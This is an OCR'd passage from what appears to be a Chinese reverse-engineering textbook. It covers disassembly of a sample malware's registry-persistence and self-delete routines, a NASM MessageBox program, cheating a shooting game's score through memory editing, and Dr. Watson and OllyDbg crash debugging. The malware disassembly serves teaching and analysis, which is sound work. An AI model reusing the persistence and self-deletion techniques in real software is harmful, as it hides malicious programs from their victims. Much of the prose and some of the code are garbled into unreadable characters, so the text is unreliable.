BRFIFE R ARG 00401452 4L SetRegValue pR% L S 0040145A ALK
SelfDelete BRI, 'EAI153m F R BEIFEMRAE LUK B S #HER, T3
M HKRE—T

v sample_mal.exe (SetRegValue)

.text:00401310 ; int _ cdecl SetRegValue(BYTE *1pData,DWORD cbData)



.text:00401310 SetRegValue proc near
.text:00401310

.text:00401310 dwDisposition = dword ptr -8
.text:00401310 hKey = dword ptr -4
.text:00401310 lpData = dword ptr 8
.text:00401310 cbData = dword ptr oCh
.text:00401310

.text:00401310 push ebp

.text:00401311 mov ebp, esp

.text:00401313 sub esp, 8

.text:00401316 push esi

.text:00401317 lea eax, [ebp+dwDisposition]
.text:0040131A push eax ; lpdwDisposition
.text:0040131B xor esi, esi

.text:0040131D lea ecx, [ebp+hKey]
.text:00401320 push ecx ; phkResult
.text:00401321 push esi ; lpSecurityAttributes
.text:00401322 push OF003Fh ; samDesired
.text:00401327 push esi ; dwOptions
.text:00401328 push offset Class ; 1lpClass
.text:0040132D push esi ; Reserved
.text:0040132E push offset SubKey ;
"Software\\Microsoft\\Windows\\CurrentVersi®...
.text:00401333 push 80000002h ; hKey
.text:00401338 mov [ebp+hKey], esi
.text:0040133B call ds:__imp__ RegCreateKeyExA@36
.text:00401341 test eax, eax

.text:00401343 jnz short loc_ 401370
.text:00401345 mov edx, [ebp+cbData]
.text:00401348 mov eax, [ebp+lpData]
.text:0040134B mov ecx, [ebp+hKey]
.text:0040134E push edx ; cbData
.text:0040134F push eax ; lpData
.text:00401350 push 1 ; dwType
.text:00401352 push esi ; Reserved
.text:00401353 push offset ValueName ; "sample mal™
.text:00401358 push ecx ; hKey
.text:00401359 call ds:__imp__ RegSetValueExA@24
.text:0040135F test eax, eax

.text:00401361 jnz short loc 401366
.text:00401363 1lea esi, [eax+1]

.text:00401366

.text:00401366 loc_401366:

.text:00401366 mov edx, [ebp+hKey]
.text:00401369 push edx ; hKey
.text:0040136A call ds:__imp__ RegCloseKey@4
.text:00401370




.text
.text
.text
.text
.text
.text

100401370
100401370
100401372
100401373
100401375
100401376

loc _401370:

mov
pop
mov
pop
retn

eax, esi
esi
esp, ebp
ebp

v sample_mal.exe (SelfDelete)

.text
.text
.text
text
.text
.text
.text
text
.text
.text
.text
text
.text
.text
.text
text
.text
.text
.text
text
.text
.text
.text
text
.text
.text
.text
text
.text
.text
.text
text

100401220 SelfDelete
100401220
100401220
100401220
100401220
100401220
100401220
100401221
100401223
100401229
:0040122E
100401230
100401233
100401238
10040123E
10040123F
100401241
100401247
100401249
:0040124F
100401254
:0040125A
100401258
10040125D
:0040125E
100401264
100401266
10040126C
:0040126D
100401272
100401278
100401279

proc near
Parameters = byte ptr -20Ch

File = byte ptr -108h
var_4 = dword ptr -4

push ebp

mov ebp, esp

sub esp, 20Ch ; 1pStringl

mov eax, __ security_cookie

xor eax, ebp

mov [ebp+var_4], eax

push 104h ; nSize

lea eax, [ebp+File]

push eax ; lpFilename
push (%] ; hModule

call ds:__imp__GetModuleFileNameA@12
test eax, eax

jz loc_4012F3

push 104h ; cchBuffer

lea ecx, [ebp+File]

push ecx ; lpszShortPath
mov edx, ecx

push edx ; lpszLongPath
call ds:__imp__GetShortPathNameA@12
test eax, eax

jz loc_4012F3

push esi

push offset aCDel ; "/c del "
lea eax, [ebp+Parameters]

push eax ; 1pStringl
call ds: imp_ lstrcpyA@8




.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text

:0040127F
100401285
10040128B
10040128C
100401292
100401293
100401295
10040129A
:004012A0
1004012A1
1004012A3
:004012A8
:004012AE
:004012AF
:004012B4
:004012BA
:004012BB
:004012BD
:004012BF
1004012C1
1004012C3
100401209
1004012CA
1004012D0
:004012D1
1004012D3
1004012D5
1004012DB
:004012DE
:004012E0
:004012E5
:004012E8
:004012EA
:004012EF
1004012F1
:004012F2
:004012F3
:004012F3
1004012F3
:004012F6
:004012F8
:004012FA
:004012FF
100401301
100401302

mov esi, ds: imp_lstrcatA@8

lea ecx, [ebp+File]

push ecx ; 1pString2
lea edx, [ebp+Parameters]

push edx ; 1pStringl
call esi ; lstrcatA(x,x) ; lstrcatA(x,x)
push offset aNul ;" >> NUL™
lea eax, [ebp+Parameters]

push eax ; 1pStringl
call esi ; lstrcatA(x,x) ; lstrcatA(x,x)
push 104h ; nSize

lea ecx, [ebp+File]

push ecx ; lpBuffer
push offset Name ; "ComSpec"
call ds:__imp__GetEnvironmentVariableA@l2
pop esi

test eax, eax

jz short loc_4012F3

push 0 ; hShowCmd
push 0 ; lpDirectory
lea edx, [ebp+Parameters]

push edx ; lpParameters
lea eax, [ebp+File]

push eax ; 1pFile

push 0 ; lpOperation
push 0 5 hwnd

call ds:__imp__ShellExecuteA@24
cmp eax, 20h

jle short loc_4012F3

mov eax, 1

mov ecx, [ebp+var_4]

xor ecx, ebp

call ___security_check cookie

mov esp, ebp

pop ebp

retn

loc_4012F3:

mov ecx, [ebp+var_4]

xor ecx, ebp

xor eax, eax

call __security_check_cookie

mov esp, ebp

pop ebp

retn
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2R, BATGEEBAH L BB FAR AT X AR, HE R B
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Windows A s 1R %2, AR M dwas 2
NASM, E#:4% 2 ALINK.

e NSAM
http://www.nasm.us/
o ALINK
http://alink.sourceforge.net/download.html
N EA KRS E — > B2 Hello World! FIFEFFIE .
B RFR M RIT e 44 W B DY asm.

V¥ hello32.asm

extern MessageBoxA

section .text
global main

main:
push dword ©
push dword title
push dword text
push dword ©
call MessageBoxA
ret

section .data
title: db 'MessageBox', ©
text: db 'Hello World!', ©

MessageBoxA T 2 LA 4 N34

o T AR


http://www.nasm.us/
http://alink.sourceforge.net/download.html

o THIRHIHE
o TN HTH BAHERRE
o T INHITH BAHESRAY

XF API W EH{E R, & K54 MSDN (Microsoft Developer
Network) #8%.,

e MessageBox

https://msdn.microsoft.com/en-
us/library/windows/desktop/ms645505.aspx

R4 Windows API 3 A BILgw1E S IR, (HERAIIAELE
Windows 355 N #4701, PR G AS 7] 36 4o s 2 45F ) Windows API,
REHTE LW R S AEE Bt LT .

PATIAE A F ZRom— AR B AHE EAE, IS 1. 4 2500 0
AL T

ESE RV EBON S/ O
o BEIW/RIIVEE: Hello World!
o TRINHIHEMEIRE: MessageBox
o RS Hi IS AL AT AP A AR
e ] call MessageBoxA i FH £ %
NHEAKEBITES .
B4, F NASM M E -fwin32 SECEACISIE 4 N .obj 31
SRJE, F ALINK & i nl $h47 304
RN A R BT SR e, B LR 1% 23 7R Generating PE file


https://msdn.microsoft.com/en-us/library/windows/desktop/ms645505.aspx

hello32.exe.

v 1E47 7~

C:\>nasm -fwin32 hello32.asm

C:\>alink -oPE hello32 win32.1ib -entry main
H

Generating PE file hello32.exe

A PAT SR JE, B E T LT T, IR R E N
2R — N E 2 Hello World! 1175 EAE .

OXARI

011yDbg — hello32.exe — [CPO — main thread, module hello32]
Fila V¥iew Debuz Plugins Options W¥Yindow Help

(JJI wn] wied 24 ) 4 JJJJJ_[_U_U_UI )

&H B8 PUSH @
65 Baza4a88 | PUSH hel lo32. BB4B82000
. B8 BE2A40a0 | PUSH hel lo32, 80402008 Hello Worldt™
. GH @8 PUSH @ HULL
. ES EDIFE@08 |CALL <JMF.&user32.MessageBoxAl anH
o] RETH

" 66 DB G8

2 0E 49

section . text
global main
main:
push dword 0
push dword title
i push dword text
®$ﬁﬁ IZEE push dword 0
call MessageBoxA

Address | Hed dumg ret

Ha4az2EEE) 40 &5 V2 7361 &7 &5 42

EA4RZ2AES | 6F Y2 8@ 42 65 &eC &l &F

aad4azalal 28 57 eF V2 60 64 21 Ba section .data

EE4E2E12 68 00 00 80 66 60 66 68 . . .
mmAAmTHTERl Am AR mmE Aml mmE RmE AR Am title: db MessageBox , 0

text: db 'Hello World!",6 0

A H OllyDbg T 71 hello32.exe

FTHIFRATTH OllyDbg KFT 7MiM A Bl i) hello32.exe, 17T )5 %% H
R MER



o £ FAMIRICHE H: BosKINIFRA 195 L 9 ts 2
o IENHHWINAEHE H: TN section.data 2 J5 17 i F) E 4

BB PUTIXESE LN, BHAT K push $5%, A N HIHE H
2 s HRITRIER 4E

% JE, HIHAT call MessageBoxA I, S Faios Bon HiH BAE T



o525 RS B Lk Dok AR B

Bl gwds WX TR, A RIS EK bug FIRCERR, 24
11 R EATTREMEAEN L A8 VE 5 T2 R B EAT 70 b, DS e 4 DR AB k
o 32 o M SORRE S 5 B R DL BT FlrscA R R AL, 55—
HEENE FH R AT A F B o

“BBfiE” Ccracking) IXANa] AR S0 D832, AE T AR A A Bt m] DUSLA:
B, BandE g e s s R EEE (BN ) i S, B
H MR ERSE . MENRIIZE T, B2 RO S 1R IX 4T 1
KA, planxr@EERAT I, AR ER B RS EAE

FEIEEEA b, AT PRATRE 22 2] QAT OR3 B AT AN AR



2.1 fREENAERENE
2.1.1 S v e R AR U
HAERATRE — R BlliExk. 16 KKI21T chap02\shooting H 1]

shooting.exe.

M zhooting

SCORE: 0029  ENERGY: 0000

A SRR
AN AR AR R
o THEHE: N
o —H: [AI/EFEE)



o H: LIS

o tHE: HHFEHEE (LA ERD

o LBE: WFIAMEIE CGHREEED

MRS, M By, I SR A A — FRC A oo i e — A — 4
A2 E T o AT DA AR LRI TR) 45 1 AR E

Hobr BEFRIE s Re &, 8 U ORI 9% e JF b e 45 0k .

e i) LR 2 RS 5y, RULBEE AR T, RESIH R AL & 1
JijIe

i RO AT US55, BN R b 15393 o #5300, SO
5k, TIRRBEAMERE L S PE R

B KRR, —FCRUEEDLE] 500 ~ 1000 7. Ak, 24t
1000 3 Z J5, VAR HMERE & ORI, EARIA 3] 2000 43 1] DLk & AH 2
ME ) o

1~

2.1.2 B AN T RS )

153 2000 7y EARME, (HHSZIRATAZEMA LT H 4 A7 ST A saT Lo
BRI T

N VB AR, FA R B B4 77 BEHERE N A7 4 2 PR )
HehHieRt .

Lsghes aany r—>r, %UE—ARIBTE QAR SR HSCRm, i
SRR RG TR, —

o HHJieX
http://hp.vector.co.jp/authors/VA028184/#TOOL

http://www.vector.co.jp/soft/win95/prog/se375830.html


http://hp.vector.co.jp/authors/VA028184/#TOOL
http://www.vector.co.jp/soft/win95/prog/se375830.html

FERBAT R A F I, FTIF R IEX, 2R A MNHERE SR h e %

shooting.exe.

UH3ZBanys—
IAME

@ |12 &= =& | & BhHIFET ¢ (RCETIN

IOE2ER | -y | F-TuvEE |
uZHEs | mrousEm
ZO0t28

shoot 074 15 i
@ chrome.exe 00000188 XPMUser@y IRTUALXP-10791 1 C:¥Documents :
f3Hidenaru.exe 00000194  XPMUser@IRTUALXP-10791 ] C:¥Program Fi
[VCPkeSrv.exe  000009CE KPMUser@/IRTUALKP-10791 ] C:¥Program Fi
€ chrome.exe 0000003c  XPMUser@y IRTUALKP-10791 1 M C:¥Documents :
lVCExpress.exe  000009FE  %PMUser@VIRTUALXP-10781 ] C:¥Prozram Fi
fHidenaru.exe 00000310 XPMUser@YIRTUALKP-10781 ] C:¥Program Fi —
i#Mconime.exe 00000720 XPMUser@ IRTUALKP-10791 | C:¥WINDOWS¥sy«
& chrome.exe 000000C4  XPMUser@ IRTUALXP-10791 C:¥Documents :
EIHIDEMARU.EXE 00000914  XPMUser@IRTUALKP-10791 b C:¥Program Fi
EWPFFontCach... 00000AS8 LOCAL SERVICE®NT AUTHORITY C:¥WINDORS¥M i ¢
@ chrome.exe N000OEE4  XPMUser@ IRTUALKP-10791 C:¥Documents ¢
Flalz.exe (000DOBAC LOCAL SERVICEENT AUTHORITY C:¥WINDOWS¥Sy«
Flwscntfy.exe 00000BYC  ¥PMUser@ IRTUALKP-10791 £ C:¥WINDOWS¥sy<
Bnsnses.exe 00000AZD  ¥PHUser@ IRTUALKP-10731 C:¥Program Fi
#ctfmon.exe QO00D0AFC  ¥PHUser@ IRTUALXP-10731 C:¥WINDOWS¥sy:
i usched.exe 000008FD  XPMUser@/IRTUALKP-10781 ‘* C:¥Program Fi

@ 5

A JIREHERE N A G s —— T HE i X

HAVSa RN — T HhE, R F — N ELAEN ESP FFA4HE. &
TR HRT Ny 77 G -“ZAL v PRIV Y 2 XRR” REFE
WRFAFEED o



UH A L= FRILZ 22 %m

- ALy F—8 w7 |
2 L AN I - LA ARG ‘
AL FID + ZABETEEE LYRSEE |
0ooon134 15: 205 47k [15] |EF\}{ jooooonoo
00000144 15: 90 F A [15]
00000544 l:',J:T-af;'tl,lLf [15] EBX [T7D0A340
S i A
I]EIEIEI[IDJ#B :gme (12 |EG}{ [oo12FCT8
00000EDS 15: 9V F 41 [15]
ED¥  [TCA4EGT4
ESP  [IIFEEE
EBP [0012FCCC
ESI  [00000000
EDI  [0012FCA4
EIP  [TCI4EGT4
EFL [00000Z0Z
m m: m
e P (EC
SEIRA Lo MEEHIA T | | Feta2 [FFFDEODD

A IR TRE T RTAAAE
PR AU B, LR N8 ZTE, R)5E & ESP HIH.

ESP AR NIAEE LA —FE, RIIIE KK % 8 e SERME R#AT 5
SRR, EHE AR ESP HI{EA 0012FC74, X5tk e /& .

BT A0 8 29, DA Z — MRS o 29" IXAMEAF E MR
=

A F N T A AR AR AR R, #RT DTGB R & .

o MIRBPHRE” (R -2V HHEEEL T, M
R” (F5E WAL AR D

o 1% Alt+F %



— B EEhte R

~ 1% FEERE (i (Byte Floaty

wEEEILT

1 C2 G4 Foat [ FEGUEER

-tEEEAEE LR ERB I L TERE

|—. <] mizrE [<] E|— {EEET |

ERETIREY

G

Oo1ZFDas

BT EL AR EE IR IAST - . RS EEE) 31618

& giE b [29 -

3 |~ UNICODE |

Frlfg: |I]Ell 2FCT4 EEE: |1 oo B EET |

- EataE (U 2R RS T P, RS EEE 3168

Frfs: IIJIJIJII]DDD EEE: 04000000 F HF~—2

~ bEER R A EL

iR B2 fE |
TR R AR EE S e
Bz T | g
S EOISE (BT B

—t&3e- € 1E I TIHDEERHE M TR T {E (Byte Word, Diord Float)

FoiHE = 32000

|BC29, 295, W{20, 20}, D(29, 20 ), F{40837655e-044 )

|B029, 295, W( 29,20 ), D29, 20 ), F{40637655e-044 )

A O R
FEXTUGHE AT W R 1 B
o “RRA-LLICHA” (KoK, WA « 477
o “HUE” (HUE) : 29
o “BHUG7 N L R” (ZZahil) : 0012FC74
o “HIPH” (JEFED : JtIA 1000 wiif



SR R BFERR FAT (PUTIEHF ) UM HER.

XA, AAMFI R SR H 0012FD88 iX—Hhtik, Bk 29 XA EUEN
FBRAFE A AT .

WA —5], WA A RE R A > 29, R IR,
A PASCE — NS HE, SRR AR IR

X)lfﬁi‘z/l\ﬂﬁht T E OBk R — kA B, X A] DLOC Y
MREO, RE¥BCFR#EE13] 0012FD88 Hitk F 1D X —#H L.

AT DA 1D Sk HAt AT 4 87 E, i 2D (45)

UH 5Z# &5 2 - [shootine.exe (PID: 00000154)] M=1E3

rE iEEniM REE #ERE Tl IR0E FmO o POl Zoiid sl HH) =
¢ res|c~ | D eePan|s Eg BETHEMRREES S 5 ERS
Iddress : 10 +] 7 +3 +4 5 0 +7 0 10 +E F  017345673020C0EF ~
0012FDS0 : 00 00 00 00(90 071 00 ocf2

0012FD90 : OF 00 00 00|00 00 00 00 TUUU(6F 00 00 00 ...oveoe.. .. o...
0012F0AD : 00 00 00 00|00 00 00 00|01 00 00 00|00 00 00 00 .. ooooniiooiil,
0012FDBO : 00 00 00 00|00 00 00 00|00 00 00 0O|F6 00 00 00  ..... I -

>

.
=
o
=
o
=
-
=

|
]
|

=

[ 0012F88-0012FD88: 1hi1iByte 1 BC 40, 45 ) Wi 45, 45 ), DC46, 45 ), Bt 00101101 3 [-RW-  [Windows ANSI jJ

A F 0x1D (29) hnE 0x10 £k 0x2D
SR G FRATT B B R T ..., 59 AR T 45 43!
X B AB AT LIRS, it el DU N —ME K B% .



M zhooting |Z”:IE|
SCORE: 65313  ENERGY: 0000

A 1] DEERBMNAS 5

IXFh— BB T 4a XA A B 1S e DURE S 18 5 H K.

FEIX BIRAVER 7 RE e XX — T BTk, s2Pr b — MR
st e e n DLSEHXHE I SRR . 4R, BATIAMI A] LB s 43, ] LA
Bodges, A X%EBATET] LLKIE .

2.1.3  FRELN A5

WA A ECL T — Ao B R N AF R, BRI Z AN BATTIE v] LUK N A7
s ORAF O, IXRR NP AFFe#” (memory dump) .

PEERES (i) 1istr, WA = AR S 284, anREIRAF
TSR] S BPIRAS CHRIED , FRATT A 75 22 A A 5Lk



A2 SO AF R A I T £

> {£ Windows Vista [ DA jicAs o1 A= B A A7 % i

QAR 18 FH Windows Vista BUSE miflA, 1f LA DL B BRORERIE
1. #% Ctrl+Alt+Del T 74T 555 B g8

2. ik A E bR R A R

3. Pl i e i S

XFE, RGN 49 DMP KA

1 Windows (ESETEE ||| )
MR EIO) EENV) EEIH)
EREE BE RE (o (BF |BA |

B 2 - mPE  CPU WAL
explobes eie Lohau . 00 25208

| guitest. exe = . Shla T |
IcheDaemon. exe FIFTIHES(0) 1,304 K
ICECEEanlkh==1st. exe s 8,080 E |5
l=zass. exe e T2 (E) 3124 K
1zm. exe EEETERT) B24 K
pras. exe B 1,036 K -
Searchlndexer. exe B,844 E |
sechizsrv. exe UAC eEERI{E(V) 3,300 E .
Services. exe BlIEEE ) 2092 K
EMSE. eXe 100 E
spoolsv. exe EEFEERP) k 1,098 K
svchost. exe =i 1,332 K ' _

e (R) RN
1 | b
: ETIRE(S)
EES
R 49 CPU {E=R=Z 100% $IERE: 52%

A CERREAE SR 1



= Windows FEEES = ===
MR B0 =5V EEH)
EEEE| #E mE  (#E (BR (BR |
A2 A5HR R P CEV MFERI..
ExPl':lrE - (o B ) [ | I v L. B =) =] . K 1
quitest| gmEE =
Tchellaeq E : |
ICECEBs| ERRINAEEII - E S|
lzass. e . r |8
15355 W =T ¢
s C:'WWsers\SHYUTT ™1 YApplatailocal ' Temphgui test. NP '
poas. ex K |;
Searchll E |
sechizzl RE E .
Service E
SmSE. exE SISIEM o0 T E
spoolsw. exe SYSTEM uin} 1,084 K
swchast. exe SYSTEM uin} 1,304 £ ' _
‘ : 1 [ rrr '|.1'r."|'||_||n [mln] 4 [ T T N A r 1
FTETERAFRHEE ) IS ()
HEN 48 CPU {RZ% 100% EEFTE: 51%

A CE R ST 2

REBEAE RA TR HAT U N BB T N2 WA+, HRNAF
W ST AT SR BRI A SE M E], R AT DA b dmdE
RN — T,

» 7£ Windows XP } UL N AR 1) & 48 A2 Bl N A7 5 i

Windows XP N HEARRA ) R4 HAr 1 — NYAE Dr. Watson ) N 7755

g T H, AsEr2, £ Windows Vista & P ERRAH, x—T A

RGP T MERAHLUL, IX 2 AN R 2 b B YA B A ] R

HERAEBICAF R R) TR, R 23 e BT R T H (3R 5 af P
i B PO A FRAL PP A I R B R, DRI 8 2 52 SR 22 01 R B R

INRART _EH Windows XP, AJHZME LN D BRA BN A7 R Gk R
A Windows XP, ARt AT DI T AR B A N A7 B Al R 1 1

B A3 Dr. Watson, B 5GAEEHIRRE S iHfF - RATLH - KGiE R,



X I E R REE B
MARGAE BRIk T A - Dr. Watson, Bt A] AEFF46 - 81T

Hrigr N\ drwtsn32.

R

g
FER

TR

B

BI0S A/ HER
SMEIOS K=
Yindows BHF
FHEF
Beh&

o
EtihRE
B PE3R
g
SEMNIEMTT
ol FYIE AT

e et 2=
<

Eﬁ#ﬁﬁ Ei&yqﬁi =R

g |
Microszoft Windows XF Frofessional
E.1.2600 Service Fack 3 MIEIEIZES
Microzoft Corporation

SHEUVM

innotels GmbH

VirtualEBox

T xse g PC

x868 Familwy B Model 58 Stepping 9 Ger =
innotels GmbH VirtualBox, Z006-12-1

2.5

C:WWIHDOWS

CAWINDOWS Yy sp=tem3Z

WTewice' i Har ddi sk¥olumel

thip | EHTE

Wi = "5.1 2R00. 5512 (xpsp. 0804135
SHYINMAY MU s er

oh E R

1,023, 45 MEB

TEZ. BS ME

SoNn R b

i E

B4 w): |
[ R RFRIEAEERl @)

(] R #esR2eR1 53 ()

i [0 FHEL C)

A 55 Dr. Watson 1



# Dr. Watson for Windows

HaEIr T L) ||:: "Documents and Setting OGS (E). ..
HIEFE{E (B ||:Z "Documents and Setting  GISE@). ..

fe<&rE (1. 10
E{RTRNEHAEE W) 10
ETEEREAEZER () ¢ =R e B O nTe FESEA
I
[ EHFSED
v P AR RO (A
v BitnBENE BRI )
T AEEED )
[ EERHE
v lEREERE I ()

I iz e (B) EEV) | EHRO

fifE HRiH FERD (H)

A /53] Dr. Watson 2

{E Dr. Watson ) & 18] DL H SR S PRAE A2 . 1R HE .
PR R R = S T W E

Dr. Watson 23 7E 32 5 28 LI S8l H O TAE . AETRAT TR BIFE Y
guitest.exe F1, MEEHITIFAE D) - KT XHEHE,  AE KA Z X EHERN 72 7
&b, 2T HARER, REBBFERF RS EE R L. 3K
TTAT DA 2 — B AT B AR e ok 5| R g it CURACRE AL 35 7
chap02\guitest\guitest.cpp +) -

#include <stdio.h>

int main()

{
char *p = NULL;
o= AT
return 0;




ok, BAMEMAATE O FIEAT drwtsn32, FEI0E - &I, XY
MR E 3R], k3, H2% Dr. Watson 73 4 SER 1
#% (just-in-time debugger) .

v BT

C:\>drwtsn32 -i

XA AR E R T
NHAEBATRIZAT — N =5 R LR -

guitest. exe 1BH|EAFER A HATHHS EETERTHE
#.

NPIEF S T#HES D, FEATREEE.

TEF L AR 4E Mierosofta
HAIESEaEE T — ik s » EN LI EREESHEH]. FEils
3 ST AR R SR,

ESEIMERREOAREE,  ESEM.
FIEHIREE @ |




& Dr Watson
I EE BFY O WEe TR #Eo

QFe - Q ¥ O [xsx [E-

Hidik (o) T30 \Doruments and Settinzs'All UsersiApplication Data'Mierozoft'Dr Watson V| 3|

bed

TP RS
) EE— TR

. 'u.ser “dmpt
=| T | o mali

F: drwtsn3Z. log
e 265 KB

A Dr. Watson A 3% 1) SO 4

HATRT LUE 2, FEBATRINI B B /)% H B4R , Dr. Watson 22 7 BLR
A

e user.dmp

e drwtsn32.log

user.dmp St ZH RN N AEFEAE, HLAMNEHE — drwisn32.log XA, 1E
EASHESH, R E BT 1R AR

2.1.4 M EEREF & LB 1) RS B A T A SR K
FATHKE — T drwtsn32.log HIH % .

Vv drwtsn32.log

RAE N AR Y A R
N HFEFF: C:\Temp\guitest.exe (pid=3852)
f[E:  2012/07/02 @ ©2:43:54.207
BAMELIR S 1 cee00005 (ViHRIE)

*oo-o> RGUER <----%*
115844 . VIRTUALXP-10791
4 : XPMUser
Lk Id: 0
MbERAS A 1
MbFEASKAY: x86 Family 6 Model 37 Stepping 2
Windows hRA<: 5.1
HHTN A S : 2600
Service Pack: 3
MRi72EM : Uniprocessor Free




VEMH B
FEMHPIPTA % . Windows XP Mode

*oeoo> [ERBIF <----x
@ System Process
4 Systenm

416 smss.exe

476 csrss.exe

A

ko> B (oo

(0000000000400000 - 0©000000000412000:
C:\Temp\guitest.exe

(000000003b100000 - 000VVO3b11b000O:
C:\WINDOWS\IME\IMJIP8 1\Dicts\IMIPCD.DIC

(000000004edCc0000 - 000V 4ee16000:
C:\WINDOWS\system32\imjp81. ime

A

¥----> Z5FE ID oxded MIREH:fE <----*

€ax=00000001 ebx=00000000 ecx=00000000 edx=00000041

€51=00401290 edi=0012f958 eip=004012bf esp=0012f8f0O

ebp=0012f8f0 iopl=0 nv up ei pl zr na po nc

Cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
ef1=00000246

*** ERROR: Module load completed but symbols
could not be loaded for C:\Temp\guitest.exe
PR#: guitest

004012a4 106683 adc [esi-o@x7d],ah
004012a7 18 clc
00401238 01740c66 add [esp+ecx+0x66],esi
004012ac 831802 cmp  eax,0x2
004012af 7406 jz  guitest+0x12b7 (004012b7)
004012b1 33cO Xor eax,eax
004012b3 5d pop ebp
004012b4 21000 ret 0x10
004012b7 0fb7c0 movzx eax,ax
004012ba ba41000000 mov edx,0x41
iR ->
004012bf 668911 mov [ecx],dx ds:0023:00000000=??7??
004012c2 8b4des mov ecX, [ebp+0x8]
004012c5 50 push eax
004012c6 51 push ecx

004012c7 ff15a8204000 call dword ptr [guitest+0x20a8
(004020a8) ]




s

B, HERILE T AN AR B BRI R 44
HBRAE RGBS LS IEAE IS T RS R F 2 R E 2. MRSk
A, FEFP AT IR DR X WAEIEAT 1 ARIE VI )

R B TdE THERS. CPU. AP AR BER, E55R I
BT P R, XL 5 I R A R

PN ORHAE By, 108 1 N BEAR AN E AR, MR BARR A
BRI LR H BTG R N AL

N TH R i B E 3 ——4RFE 1D Oxde0 MPREFAE”, XEMICE T 5
BB 5 2 VLSO BN R 3 AE 2 RS

FATRTLLE 2, 7EhE 004012bf [ mov 84 5510 5&F — N 4R 7
£, mov [ecx],dx IXZ5F8 S HITIRE K dx BIE S A ecx ISR A7
hkH,

HE— NEELE, MK ecx BI{E N 00000000, BHEIEE N
00000000 XA HuhE 2 sR 2 AR, Xt SR AR

RXHE, I IRIEERE 7 5 2 LI BIRES,  3k B1 i) A B A 2 AR5
A I

2.1.5 A3z H SR

IR, Windows Vista }¢ 5 = iR A 4 A PR Dr. Watson, {H
Windows A & B & St R aE. Bk, e E B ok gk 4k
BT R A R S IR, RS BT, I H 3B T
HFE F

o SZIN IR




https://msdn.microsoft.com/zh-cn/library/5hs4b7a6.aspx

LERTH F 2 Dr. Watson HIFE, FATLEM ST E D847 1 drwtsn32 -i,
X Ht 7~ Dr. Watson v A 22 8t B BRI SERT 1R 28 .

FATTR] CALEE A A 5 FH sl 28 SEmF K. 38 FH regedit $TF T [ ATE
2RI o

& R AR
Uit E) HEE) EEF Q) WEEE G R
D Windows Messaging Subsyste A ||| 45F5 et} Engi o
- Windows HT i) REG_SZ EEFREE)
=2-£3 CurrentVe:fsiicutL ﬁ.uto EEG_ST 1
0 hecessibility [ab]Debugzer REG_SZ drwtsnd2 -p #1d -2 ¥1d —¢

3 a fellebug
3 her —
D Claszes

[[] Compatibility
[ Compatibility32 v

< | =
FEEIEE BV HEEY_LOCAL MACHINE'\SOFTWARE'Microsoft\Windows FTWCurrentVersion'iheDebug

[@8]UserDebuggertotkey REG DWORD 000000000 (0)

A SRR E
v AR

HKEY_LOCAL_MACHINE\
SOFTWARE\
Microsoft\
Windows NT\
CurrentVersion\
AeDebug\
Debugger XH
.NETFramework\
DbgManagedDebugger XH
Wow6432Node\
Microsoft\
Windows NT\
CurrentVersion\
AeDebug\Debugger XH (x64)
.NETFramework\
DbgManagedDebugger XH (x64)



https://msdn.microsoft.com/zh-cn/library/5hs4b7a6.aspx

TP AN T R SR AR R, RN T & 64 AL R E KT 32
MR E . 7EX I N HIR S %A%, sl n] U B 2 AR g okt
AT SEmH R T .

MR, BATES 1 & A4H5d i) OllyDbg tHA] LAAE Jy Szt i1 28 Sk i

Hi.

7f OllyDbg f)3Z #irb p5 i Options — Just-in-time debugging, <3 H—>
WEMNIEHE. fiidi“Make OllyDbg just-in-time debugger”#%4fl, OllyDbg
et HOWE B E R EREMRmE 4.

011yDbhez — [CPO]
File W¥iew Debug Flugins FEESES

Bldx]| winf i

Window Help

Appearance Il c
Debugging options A1+40

Just—in—time debuggzing

Add to Explorer

A OllyDbg (1) 5B i % & 1

Just—in—time debugging

Current zettings:
TR Hébugger iz drwtsna2
| - Debugger attaches without confirmation

tdake OlD bg ust-in-time debugger

Festore ald juzst-in-time debugger

Confirmn before attaching

Dane

A OllyDbg [1]SE i ik ix & 2

HATA] LU £ 45 OllyDbg e B s ka4t < 5, f— AT
A2 B R . IXIRFE A= OllyDbg 2 HahFT I, R4 3



F11e Yiew Debuz Flugins Options WKindow Help

JJJ »>in| s g3 o) o vEm{Twin[c|s[k[BIR[.|5] E[E]?]

EEREEEEERT TV EDK, 41

6618911 HMOU WORD PTR DS: [ECKI, DX o] EEELSEEESBETPU]
5640 s MoY ECH, DUORD FTR 583 LEEF+21 R DO
=f EDH BooGEEd 1

FFIS Aasadann — | EBX BOACAREE
EE B 1 EEEEEE

ESF BE1ZF2FE
EEBF B@1ZF3FG
ESI BE4B1296 gyitest. 80401296

RETH 1@

CHMP ECH, DWORD FTR D5: [4E23008]1 EDI Be12F355

JHZ SHORT auitest.@8461ZEE o |E1F 9048128F quirest.BR4812EF
EREELEEE Aozt LNans DRed iy C @ ES @823 S2bit @IFFFFFFFF]
C5 @ALE 22hit @(FFFFFFFF]
S5 BEZ3 SZbit @(FFFFFFFF)
05 BEZE 22hit @(FFFFFFFF]
S @ FCS EESE Sobi+ FEEOCRER]EEH

ga1=F31C A

oM
e

aea1="77"?

Address | Hex dump ASCIT
P0403800| 65 AE AL FO| 97 S1 SE Ge|h  mchd — [EE e P e M= B R G e T RS =
Ga463862| FE FE FF FF|FF FF EF FF
ga4e3a16| FE FE FF FF(@1 oa oa oal? o g | 22LZESRE fbpaEnL 1l

' a6 aE1 2F9e6| | AEAREEE
fe463013( 01 B0 PO BE| S5 CS 3C 0A[6...%7.
0E4E3026( 08 4C 91 06| BR B0 B0 00| T BaizFaad) | aalFalcd)

""" aa12Foaz|| AE4R1296| qu itect . AR4A1290

OE403E25| 08 00 PO BO) GG BB 6B 0A[........
GE4E3650| AR A0 A0 00| GE BA B GA gaizraac | OCEARECD =
GO403032| 00 B0 G0 06| 60 GG G0 98| ... ..., o 2212F318) | aaaqaaad Z
AadEsadn] B8 A6 A6 6L Eaa B0 66 G5 AE12F314 Q51 2FI5E
Access violation when wiiting to [00000000] - uge Shift+F 7/F8/F3 to pass exception to program | Pauzed

A OllyDbg H:# 3| g i N HAE T b

SRR T AL FE — e 3 DL EE L) bug AEH A R, UIRE L RENE A E
